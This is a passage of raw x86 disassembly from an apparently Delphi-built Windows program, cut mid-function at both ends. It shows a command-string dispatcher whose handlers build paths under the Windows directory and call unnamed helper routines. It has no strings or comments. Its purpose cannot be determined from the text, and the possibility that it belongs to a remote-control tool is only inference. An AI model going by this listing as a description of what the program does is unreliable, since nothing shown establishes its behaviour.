call fcn.005b24d0
mov eax, dword [ebp - 0x1448]
lea edx, [ebp - 0x1444]
call fcn.00593948
mov edx, dword [ebp - 0x1444]
lea eax, [ebp - 0x3d8]
call fcn.00405adc
push 0
lea eax, [ebp - 0x1458]
push eax
lea eax, [ebp - 0x145c]
push eax
lea ecx, [ebp - 0x1460]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1460]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x145c]
mov ecx, 4
mov eax, dword [ebp - 0x3dc]
call fcn.005b24d0
mov eax, dword [ebp - 0x1458]
lea edx, [ebp - 0x1454]
call fcn.00593948
mov edx, dword [ebp - 0x1454]
lea eax, [ebp - 0x3dc]
call fcn.00405adc
push 0
lea eax, [ebp - 0x1468]
push eax
lea eax, [ebp - 0x146c]
push eax
lea ecx, [ebp - 0x1470]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1470]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x146c]
mov ecx, 5
mov eax, dword [ebp - 0x3e0]
call fcn.005b24d0
mov eax, dword [ebp - 0x1468]
lea edx, [ebp - 0x1464]
call fcn.00593948
mov edx, dword [ebp - 0x1464]
lea eax, [ebp - 0x3e0]
call fcn.00405adc
movzx eax, byte [0x5ae348]
push eax
lea eax, [ebp - 0x1474]
push eax
mov ecx, 0x5ae354
mov edx, 0x5ae364
mov eax, dword [ebp - 0x3e0]
call fcn.004ad520
mov edx, dword [ebp - 0x1474]
lea eax, [ebp - 0x3e0]
call fcn.00405adc
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1478]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1478]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x147c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x147c]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
cmp dword [0x5dbd74], 2
jne 0x59e610
lea ecx, [ebp - 0x1480]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x1480], 0
je 0x59e610
xor eax, eax
push ebp
push 0x59e5b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0x1484]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1484]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.005901ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59e610
lea eax, [ebp - 0x148c]
push eax
lea ecx, [ebp - 0x1490]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1490]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x148c]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x1494]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1494]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x1498]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1498]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x149c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x149c]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x14a0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x14a0]
call fcn.00593fdc
pop ecx
lea edx, [ebp - 0x14a4]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0x14a4]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x14a8]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14a8]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x14ac]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14ac]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x14b0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0x14b0]
call fcn.00593fdc
pop ecx
lea edx, [ebp - 0x14b4]
mov eax, dword [ebp - 0x3d4]
call fcn.0058feb0
mov eax, dword [ebp - 0x14b4]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0x14b8]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14b8]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0x14bc]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14bc]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x14c0]
mov eax, dword [ebp - 0x3d4]
call fcn.0058feb0
mov eax, dword [ebp - 0x14c0]
call fcn.00593fdc
pop ecx
lea edx, [ebp - 0x14c4]
mov eax, dword [ebp - 0x3dc]
call fcn.0058feb0
mov eax, dword [ebp - 0x14c4]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0b8
lea eax, [ebp - 0x14c8]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14c8]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0b8
lea eax, [ebp - 0x14cc]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14cc]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x14d0]
mov eax, dword [ebp - 0x3dc]
call fcn.0058feb0
mov eax, dword [ebp - 0x14d0]
call fcn.00593fdc
pop ecx
lea edx, [ebp - 0x14d4]
mov eax, dword [ebp - 0x3e0]
call fcn.0058feb0
mov eax, dword [ebp - 0x14d4]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0c4
lea eax, [ebp - 0x14d8]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14d8]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0c4
lea eax, [ebp - 0x14dc]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14dc]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x14e0]
mov eax, dword [ebp - 0x3e0]
call fcn.0058feb0
mov eax, dword [ebp - 0x14e0]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x14e4]
push eax
lea ecx, [ebp - 0x14e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x14e8]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x14e4]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x14ec]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x14ec]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae370
lea eax, [ebp - 0x14f0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14f0]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae370
lea eax, [ebp - 0x14f4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x14f4]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x14f8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x14f8]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x14fc]
push eax
lea ecx, [ebp - 0x1500]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1500]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x14fc]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x1504]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1504]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae37c
lea eax, [ebp - 0x1508]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1508]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae37c
lea eax, [ebp - 0x150c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x150c]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x1510]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1510]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1514]
push eax
lea ecx, [ebp - 0x1518]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1518]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1514]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x151c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x151c]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae388
lea eax, [ebp - 0x1520]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1520]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae388
lea eax, [ebp - 0x1524]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1524]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x1528]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1528]
call fcn.00593fdc
pop ecx
lea edx, [ebp - 0x152c]
mov eax, dword [ebp - 0x3d8]
call fcn.0058feb0
mov eax, dword [ebp - 0x152c]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae394
lea eax, [ebp - 0x1530]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1530]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae394
lea eax, [ebp - 0x1534]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1534]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x1538]
mov eax, dword [ebp - 0x3d8]
call fcn.0058feb0
mov eax, dword [ebp - 0x1538]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae3a0
call fcn.00405e6c
jne 0x59ef0e
xor eax, eax
push ebp
push 0x59ef07
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1540]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x1540]
lea edx, [ebp - 0x153c]
call fcn.00589d4c
mov edx, dword [ebp - 0x153c]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae3c0
call fcn.00405d5c
mov eax, esi
call fcn.00402fcc
push 0x5adec8
lea eax, [ebp - 0x1544]
push eax
lea ecx, [ebp - 0x1548]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1548]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1544]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e524
cmp dword [ebp - 0x424], 0
jne 0x59ed0a
lea eax, [ebp - 0x424]
mov edx, 0x5ad7b4
call fcn.00405adc
mov eax, dword [ebp - 0x424]
call fcn.00593654
test al, al
je 0x59ed2b
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae3f4
call fcn.00405adc
jmp 0x59ed3b
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae404
call fcn.00405adc
push 0
push 1
lea edx, [ebp - 0x1554]
mov eax, dword [ebp - 0x420]
call fcn.00593948
mov eax, dword [ebp - 0x1554]
lea edx, [ebp - 0x1550]
call fcn.0040bb78
mov eax, dword [ebp - 0x1550]
lea edx, [ebp - 0x154c]
call fcn.00589d4c
mov eax, dword [ebp - 0x154c]
push eax
push dword [ebp - 0x3c4]
push 0x5ae418
push 0x5adbd8
lea edx, [ebp - 0x155c]
mov eax, dword [ebp - 0x420]
call fcn.00593948
push dword [ebp - 0x155c]
push 0x5adbd8
lea eax, [ebp - 0x1558]
mov edx, 5
call fcn.00405dd8
mov edx, dword [ebp - 0x1558]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589b80
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0
jne 0x59ede0
call fcn.00405444
jmp 0x5acec8
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1564]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x1564]
lea edx, [ebp - 0x1560]
call fcn.00589d4c
mov edx, dword [ebp - 0x1560]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae424
call fcn.00405d5c
mov eax, esi
call fcn.00402fcc
mov eax, dword [ebp - 0x424]
call fcn.00593654
test al, al
je 0x59ee4e
lea eax, [ebp - 0x3c4]
call fcn.00405a44
jmp 0x59ee5e
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae458
call fcn.00405adc
push 0
push 1
lea edx, [ebp - 0x1570]
mov eax, dword [ebp - 0x420]
call fcn.00593948
mov eax, dword [ebp - 0x1570]
lea edx, [ebp - 0x156c]
call fcn.0040bb78
mov eax, dword [ebp - 0x156c]
lea edx, [ebp - 0x1568]
call fcn.00589d4c
mov eax, dword [ebp - 0x1568]
push eax
push dword [ebp - 0x3c4]
push 0x5ae418
push 0x5adbd8
lea edx, [ebp - 0x1578]
mov eax, dword [ebp - 0x420]
call fcn.00593948
push dword [ebp - 0x1578]
push 0x5adbd8
lea eax, [ebp - 0x1574]
mov edx, 5
call fcn.00405dd8
mov edx, dword [ebp - 0x1574]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589b80
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae468
call fcn.00405e6c
jne 0x59f267
xor eax, eax
push ebp
push 0x59f260
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1580]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x1580]
lea edx, [ebp - 0x157c]
call fcn.00589d4c
mov edx, dword [ebp - 0x157c]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae48c
call fcn.00405d5c
mov eax, esi
call fcn.00402fcc
lea eax, [ebp - 0x1588]
push eax
lea ecx, [ebp - 0x158c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x158c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1588]
lea edx, [ebp - 0x1584]
call fcn.0058feb0
mov eax, dword [ebp - 0x1584]
call fcn.00593654
test al, al
je 0x59efe8
lea eax, [ebp - 0x3c4]
call fcn.00405a44
jmp 0x59eff8
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae4c8
call fcn.00405adc
push 0
push 1
lea eax, [ebp - 0x159c]
push eax
lea ecx, [ebp - 0x15a0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15a0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x159c]
lea edx, [ebp - 0x1598]
call fcn.00593948
mov eax, dword [ebp - 0x1598]
lea edx, [ebp - 0x1594]
call fcn.0040bb78
mov eax, dword [ebp - 0x1594]
lea edx, [ebp - 0x1590]
call fcn.00589d4c
mov eax, dword [ebp - 0x1590]
push eax
push dword [ebp - 0x3c4]
push 0x5ae418
push 0x5adbd8
lea eax, [ebp - 0x15ac]
push eax
lea ecx, [ebp - 0x15b0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15b0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x15ac]
lea edx, [ebp - 0x15a8]
call fcn.00593948
push dword [ebp - 0x15a8]
push 0x5adbd8
lea eax, [ebp - 0x15a4]
mov edx, 5
call fcn.00405dd8
mov edx, dword [ebp - 0x15a4]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589b80
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0
jne 0x59f101
call fcn.00405444
jmp 0x5acec8
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x15b8]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x15b8]
lea edx, [ebp - 0x15b4]
call fcn.00589d4c
mov edx, dword [ebp - 0x15b4]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae4d4
call fcn.00405d5c
mov eax, esi
call fcn.00402fcc
push 0
push 1
lea eax, [ebp - 0x15c8]
push eax
lea ecx, [ebp - 0x15cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15cc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x15c8]
lea edx, [ebp - 0x15c4]
call fcn.00593948
mov eax, dword [ebp - 0x15c4]
lea edx, [ebp - 0x15c0]
call fcn.0040bb78
mov eax, dword [ebp - 0x15c0]
lea edx, [ebp - 0x15bc]
call fcn.00589d4c
mov eax, dword [ebp - 0x15bc]
push eax
push dword [ebp - 0x3c4]
push 0x5ae418
push 0x5adbd8
lea eax, [ebp - 0x15d8]
push eax
lea ecx, [ebp - 0x15dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15dc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x15d8]
lea edx, [ebp - 0x15d4]
call fcn.00593948
push dword [ebp - 0x15d4]
push 0x5adbd8
lea eax, [ebp - 0x15d0]
mov edx, 5
call fcn.00405dd8
mov edx, dword [ebp - 0x15d0]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589b80
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae510
call fcn.00405e6c
jne 0x59f51c
xor eax, eax
push ebp
push 0x59f515
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x15e4]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x15e4]
lea edx, [ebp - 0x15e0]
call fcn.00589d4c
mov edx, dword [ebp - 0x15e0]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae52c
call fcn.00405d5c
mov eax, esi
call fcn.00402fcc
push 0x5adec8
lea eax, [ebp - 0x15e8]
push eax
lea ecx, [ebp - 0x15ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15ec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x15e8]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e524
cmp dword [ebp - 0x424], 0
jne 0x59f349
lea eax, [ebp - 0x424]
mov edx, 0x5ad7b4
call fcn.00405adc
mov eax, dword [ebp - 0x424]
call fcn.00593654
test al, al
je 0x59f365
lea eax, [ebp - 0x3c4]
call fcn.00405a44
jmp 0x59f375
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae564
call fcn.00405adc
push 0
push 1
lea edx, [ebp - 0x15f8]
mov eax, dword [ebp - 0x420]
call fcn.00593948
mov eax, dword [ebp - 0x15f8]
lea edx, [ebp - 0x15f4]
call fcn.0040bb78
mov eax, dword [ebp - 0x15f4]
lea edx, [ebp - 0x15f0]
call fcn.00589d4c
mov eax, dword [ebp - 0x15f0]
push eax
push dword [ebp - 0x3c4]
push 0x5ae418
push 0x5adbd8
lea edx, [ebp - 0x1600]
mov eax, dword [ebp - 0x420]
call fcn.00593948
push dword [ebp - 0x1600]
push 0x5ae578
lea eax, [ebp - 0x15fc]
mov edx, 5
call fcn.00405dd8
mov edx, dword [ebp - 0x15fc]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589b80
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0
jne 0x59f41a
call fcn.00405444
jmp 0x5acec8
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1608]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x1608]
lea edx, [ebp - 0x1604]
call fcn.00589d4c
mov edx, dword [ebp - 0x1604]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae58c
call fcn.00405d5c
mov eax, esi
call fcn.00402fcc
push 0
push 1
lea edx, [ebp - 0x1614]
mov eax, dword [ebp - 0x420]
call fcn.00593948
mov eax, dword [ebp - 0x1614]
lea edx, [ebp - 0x1610]
call fcn.0040bb78
mov eax, dword [ebp - 0x1610]
lea edx, [ebp - 0x160c]
call fcn.00589d4c
mov eax, dword [ebp - 0x160c]
push eax
push dword [ebp - 0x3c4]
push 0x5ae418
push 0x5adbd8
lea edx, [ebp - 0x161c]
mov eax, dword [ebp - 0x420]
call fcn.00593948
push dword [ebp - 0x161c]
push 0x5ae578
lea eax, [ebp - 0x1618]
mov edx, 5
call fcn.00405dd8
mov edx, dword [ebp - 0x1618]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589b80
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae5c4
call fcn.00405e6c
jne 0x59f62b
lea eax, [ebp - 0x1620]
push eax
lea ecx, [ebp - 0x1624]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1624]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1620]
mov edx, 0x5ad7b4
call fcn.00405e6c
jne 0x59f585
mov eax, 0x5dbca4
mov edx, 0x5ad59c
call fcn.00405a98
lea eax, [ebp - 0x1628]
push eax
lea ecx, [ebp - 0x162c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x162c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1628]
mov edx, 0x5ad7b4
call fcn.00405e6c
jne 0x59f5d8
mov eax, 0x5dbca4
mov edx, 0x5ae5dc
call fcn.00405a98
lea eax, [ebp - 0x1630]
push eax
lea ecx, [ebp - 0x1634]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1634]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1630]
mov edx, 0x5ad7b4
call fcn.00405e6c
jne 0x59f62b
mov eax, 0x5dbca4
mov edx, 0x5ae5ec
call fcn.00405a98
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae5f8
call fcn.00405e6c
jne 0x59f715
lea edx, [ebp - 0x1638]
mov eax, 0x5ae614
call fcn.0058ff78
mov eax, dword [ebp - 0x1638]
call fcn.00593654
test al, al
je 0x5acec8
lea edx, [ebp - 0x1644]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x1644]
lea edx, [ebp - 0x1640]
call fcn.00589d4c
push dword [ebp - 0x1640]
lea edx, [ebp - 0x1648]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x1648]
push 0x5ad758
lea eax, [ebp - 0x163c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x163c]
call fcn.0040b89c
test al, al
jne 0x5acec8
lea eax, [ebp - 0x164c]
call fcn.0058e620
mov edx, dword [ebp - 0x164c]
mov eax, 0x5dbd0c
call fcn.00405a98
lea eax, [ebp - 0x1650]
call fcn.0058e620
mov edx, dword [ebp - 0x1650]
mov eax, 0x5dbd10
call fcn.00405a98
mov byte [0x5dbca0], 1
mov byte [0x5dbca1], 0
push ebp
call fcn.00594100
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae628
call fcn.00405e6c
jne 0x59f7b4
xor eax, eax
push ebp
push 0x59f7ad
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1658]
push eax
lea ecx, [ebp - 0x165c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x165c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1658]
lea edx, [ebp - 0x1654]
call fcn.00593948
mov eax, dword [ebp - 0x1654]
mov cl, 1
mov dl, 1
call fcn.00591a88
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae648
call fcn.00405e6c
jne 0x59f8a5
xor eax, eax
push ebp
push 0x59f89e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1664]
push eax
lea ecx, [ebp - 0x1668]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1668]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1664]
lea edx, [ebp - 0x1660]
call fcn.00593948
mov eax, dword [ebp - 0x1660]
call fcn.0040b89c
test al, al
je 0x59f881
lea eax, [ebp - 0x1670]
push eax
lea ecx, [ebp - 0x1674]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1674]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1670]
lea edx, [ebp - 0x166c]
call fcn.00593948
mov eax, dword [ebp - 0x166c]
xor ecx, ecx
mov dl, 1
call fcn.0059155c
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae668
call fcn.00405e6c
je 0x59f8cd
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae680
call fcn.00405e6c
jne 0x5a17e1
mov eax, 0x5dbd3c
call fcn.00405a44
xor eax, eax
push ebp
push 0x59fa78
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
lea edx, [ebp - 0x1678]
